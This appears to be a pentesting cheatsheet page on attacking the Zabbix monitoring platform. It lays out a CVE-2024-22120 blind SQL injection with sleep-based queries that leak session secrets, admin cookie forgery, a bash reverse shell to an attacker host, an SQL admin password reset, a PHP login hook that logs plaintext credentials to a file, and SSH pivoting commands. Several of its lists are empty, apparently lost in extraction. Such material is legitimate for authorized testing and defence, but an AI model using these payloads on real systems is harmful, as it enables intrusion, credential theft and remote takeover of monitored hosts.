repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
zabbix.mdMarkdown180 lines10.6 KiBsource raw download

title: "Zabbix Security" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/zabbix.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/zabbix.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Zabbix Security#

Overview#

Zabbix is a monitoring platform with a web frontend (often behind Apache or Nginx), a server/trapper that commonly listens on TCP/10051, and agents that commonly listen on TCP/10050. During an authorized assessment, you may encounter:[5]

The zbx_session implementation used by the affected versions and public PoC is a Base64-encoded compact JSON object containing fields such as sessionid, serverCheckResult, serverCheckTime, and sign. Treat the precise fields, canonicalization, and signing algorithm as version-specific and confirm them against the deployed frontend code.[1][2]

The vulnerable-version workflow documented by the public research computes the cookie as follows:

If you recover the corresponding global session_key and a still-valid administrative sessionid, this format can be used to forge an administrative cookie offline. A different frontend version or invalidated session may require a different structure.[1][2]

CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log#

Affected versions (as publicly documented):

Vulnerability summary:

Preconditions and discovery tips:

Exploitation flow#

  1. Trigger audit insert with SQLi in clientip

Minimal message (JSON body) fields:

{
  "request": "command",
  "sid": "<low-priv-sessionid>",
  "scriptid": "1",
  "clientip": "' + (SQL_PAYLOAD) + '",
  "hostid": "10084"
}

For these versions, the full wire format is ZBXD\x01 followed by an 8-byte little-endian payload length and the UTF-8 JSON body. You can use pwntools or a socket client to construct it.[5]

  1. Time-bruteforce secrets via conditional sleep

Use conditional expressions to leak hex-encoded secrets one character at a time by measuring response time. The following expressions target the MySQL-compatible schema used in the referenced lab and PoC; adjust functions and schema names for the target database and version:[1][2]

(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)

Notes:

  1. Forge Admin cookie

For the cookie format described above, once you have:

Compute:

Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.

Ready-made tooling#

RCE via Script execution (post-Admin)#

Administrative frontend access alone does not guarantee operating-system command execution. The user must be able to create or run an applicable global script, its Execute on target must run commands, and the corresponding component must permit them. Agent execution normally requires an appropriate AllowKey=system.run[...]; proxy execution requires its remote-command setting; and new Zabbix 7.0 installations set EnableGlobalScripts=0 for server-side global scripts by default. When those prerequisites are present, script execution can yield code execution on monitored systems, often as the zabbix account on Linux.[1][6]

bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'

TTY upgrade (Linux):

script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset

In the referenced lab, direct database access also allowed the administrative password to be changed to the shown bcrypt value for zabbix:

UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';

This is a destructive, schema-specific post-compromise technique: back up the affected row, verify the username column and account, and expect MFA or external authentication to remain an additional barrier. Prefer creating a temporary, audited recovery account through supported administration procedures when possible.

Credential capture via login hook (post-exploitation)#

If file write is already possible on the web server, the referenced lab temporarily added the following logging snippet to /usr/share/zabbix/index.php around the form-login branch. This is an intrusive post-compromise credential-capture technique: use it only with explicit authorization, protect the output, and restore the original file immediately after testing.[1]

// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
  $user = $_POST['name'] ?? '??';
  $password = $_POST['password'] ?? '??';
  $f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
  CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}

Users authenticate normally; read /dev/shm/creds.txt afterward and remove the hook. File paths and login code differ across packages and versions.

Pivoting to internal services#

Where SSH key authentication and TCP forwarding are accepted for the compromised account, -N -L may allow forwarding to loopback-only services (for example, CI/CD on port 8111) even when the account is not intended for interactive shells. An /usr/sbin/nologin shell, AllowTcpForwarding, DisableForwarding, PermitOpen, key restrictions, or PAM policy can prevent this path, so verify the SSH policy rather than assuming it works:[1]

ssh -i key user@host -N -L 8111:127.0.0.1:8111

See more tunneling patterns in: Check Tunneling and Port Forwarding.

Operational tips#

References#